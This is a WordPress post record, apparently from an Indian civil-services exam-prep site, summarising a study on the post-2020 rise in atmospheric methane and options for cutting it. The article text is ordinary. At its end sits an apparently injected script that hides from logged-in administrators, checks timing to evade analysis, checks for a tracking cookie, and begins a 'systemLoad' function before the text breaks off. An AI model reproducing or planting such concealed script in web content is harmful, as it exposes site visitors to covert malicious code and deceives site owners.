{"id":1216,"date":"2024-08-01T04:52:14","date_gmt":"2024-08-01T04:52:14","guid":{"rendered":"https:\/\/iasquest.com\/?p=1216"},"modified":"2026-02-11T19:15:11","modified_gmt":"2026-02-11T19:15:11","slug":"paper-iv-general-studies-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-22","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/paper-iv-general-studies-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-22\/","title":{"rendered":"PAPER-IV General Studies-III: Technology, Economic Development, Biodiversity, Environment, Security and Disaster Management"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><em>Conservation, Environmental Pollution and Degradation, Environmental Impact Assessment<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>News:<\/em><\/strong><em> Methane levels are spiking since 2020s; La Ni\u00f1a &amp; warming wetlands behind it, suggests study<\/em>.<\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>Examine how wetlands and La Nina contribute to the rise in methane emissions and emphasize the need of focusing on controlling methane emissions<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Methane levels have seen a startling increase since the early 2020s, according to a new study. The potent greenhouse gas, known for its significant impact on global warming, has seen a <strong><em>\u201csubstantial\u201d rise,<\/em><\/strong> <strong><em>with wetlands and fossil fuel emissions identified as the primary culprits<\/em><\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Rising Levels of Methane emissions:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>In <strong>2015-2019,<\/strong> methane growth rates were <strong><em>7-10 parts per billion (ppb) per year,<\/em><\/strong> which jumped to roughly <strong><em>12\u201318 ppb per year between 2020\u20132023<\/em><\/strong>, said the study published in journal Frontiers in Science.<\/li>\n\n\n\n<li>Methane is responsible for roughly a third of the rise in global temperatures. The greenhouse gas is about <strong><em>80 times more potent than carbon dioxide (CO2) in 20 years after it is released into the atmosphere<\/em><\/strong>.<\/li>\n\n\n\n<li>Previous studies found an increase in lighter isotopes (variants) of atmospheric methane, which has a biogenic or natural origin.<\/li>\n\n\n\n<li>Increased methane emissions from wetlands appear likely to have driven a larger portion of the higher 2020\u20132022 growth rates.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Causes of Methane emissions:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Wetland emissions: <\/strong>It can be attributed to <strong><em>microbes that consume organic material and produce methane as a byproduct.<\/em><\/strong><\/li>\n\n\n\n<li><strong>La Ni\u00f1a pattern<\/strong>: The <strong>persistent La Ni\u00f1a pattern<\/strong> and cool phases of the El Ni\u00f1o-Southern Oscillation, also known as ENSO, may contribute to this phenomenon. The combination of <strong><em>La Ni\u00f1a, anthropogenic warming and climate extremes<\/em><\/strong> may have led to <strong><em>increased wetland methane emissions<\/em><\/strong> compared to previous years.<\/li>\n\n\n\n<li><strong>Super-emitters<\/strong>: In terms of fossil fuels, <strong><em>national reporting frequently<\/em><\/strong> <strong><em>ignores super-emitters, which are facilities that emit massive amounts of methane as a result of abnormal operational conditions<\/em><\/strong>. Recent advances in satellite remote sensing have identified hundreds of super-emitters.<\/li>\n\n\n\n<li>The <strong>United States Environmental Protection Agency<\/strong> <strong><em>does not account for \u2018super-emitters\u2019 <\/em><\/strong>\u2014 <em>devices that emit anomalous amounts of methane because of malfunctioning equipment or poor operational practices<\/em>.<\/li>\n\n\n\n<li><strong>COVID-19 pandemic<\/strong>: <strong>The COVID-19 pandemic<\/strong> was also linked to increased methane emissions from the energy sector in early 2020. <strong><em>During lockdowns<\/em><\/strong>, researchers observed <strong>a decrease in nitrogen oxide (NOx) emissions<\/strong> from <em>automobiles, trucks and other non-road vehicles,<\/em> as well as <em>industrial sources such as power plants, industrial boilers, cement kilns and turbines.<\/em> <strong><em>NOx combines with ozone to form hydroxyl radicals, which destroy methane in the atmosphere.&nbsp;<\/em><\/strong><\/li>\n\n\n\n<li>Furthermore, it was unlikely that the <strong><em>waste or agriculture sectors would have contributed to increased emissions as the variations are minimal<\/em><\/strong>. For example, <em>global cattle numbers grew at an average rate of 1.1 per cent over the 2020-2022 period from a 0.9 per cent per year average over the 2015\u20132019 period.<\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Recent study has identified some main action imperatives:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>To <strong><em>change course and reverse the growth of methane emissions<\/em><\/strong>.<\/li>\n\n\n\n<li>To <strong>align methane and CO2 mitigation.<\/strong> The researchers <em>stressed the importance of understanding how different countries\u2019 methane reduction plans fit into the broader climate change mitigation agenda and the push for <\/em><strong>\u201cNet Zero CO2.\u201d<\/strong><\/li>\n\n\n\n<li>Countries that successfully reduce CO2 without also reducing methane will experience increased warming. <strong><em>A delay in methane cuts from 2020-2040 would result in 4.2 million more premature deaths from ozone exposure by 2050.<\/em><\/strong> This greenhouse gas tends to increase surface ozone, an air pollutant.<\/li>\n\n\n\n<li>To <strong><em>optimize methane abatement options and policies.<\/em><\/strong> <strong><em>Abatement technologies<\/em><\/strong><em> could cut 29-62 million tonnes (Mt) of methane per year in the oil and gas subsectors,<\/em> 12-25 Mt per year in the coal subsector, 29-36 Mt per year in the waste sector and 6-9 Mt per year from rice cultivation in 2030.<\/li>\n\n\n\n<li>For livestock, it ranges between 4 and 42 tonnes per year, depending on factors such as the assumed ability to adopt higher productivity breeds and reduce total animal numbers. This could be further <strong><em>enhanced with nascent technologies such as methane inhibitors for ruminants and cultured and alternative proteins.<\/em><\/strong><\/li>\n\n\n\n<li>The <strong><em>US, Canada, Russia, Saudi Arabia, Libya and 10 other countries<\/em><\/strong> have been identified as having the <em>highest potential to mitigate methane emissions from oil and gas.&nbsp;<\/em><\/li>\n\n\n\n<li>Options include replacing a mechanical component with an advanced feature, installing additional units to prevent methane from escaping and monitoring and repairing facilities.<\/li>\n\n\n\n<li>Some <strong><em>countries with large populations, such as India, Brazil and Mexico, have significant mitigation potential in landfills (waste sector), <\/em><\/strong><em>as do others with smaller populations, such as Azerbaijan, Poland, Peru and the United Arab Emirates.<\/em> India, for instance, can benefit the most from energy generation, the study showed.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Cutting all methane emissions in future would mean <strong><em>90 per cent of accumulated methane \u2014 but only around 25 percent of carbon dioxide\u2014would have left the atmosphere over the next three decades<\/em><\/strong>. Policies leading to rapid and deep cuts in both CO2 and methane provide the strongest benefits across the century.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Reference:<\/strong> <a href=\"https:\/\/www.downtoearth.org.in\/climate-change\/methane-levels-are-spiking-since-2020s-la-ni%C3%B1a-warming-wetlands-behind-it-suggests-study\" target=\"_blank\" rel=\"noopener\">https:\/\/www.downtoearth.org.in\/climate-change\/methane-levels-are-spiking-since-2020s-la-ni%C3%B1a-warming-wetlands-behind-it-suggests-study<\/a>&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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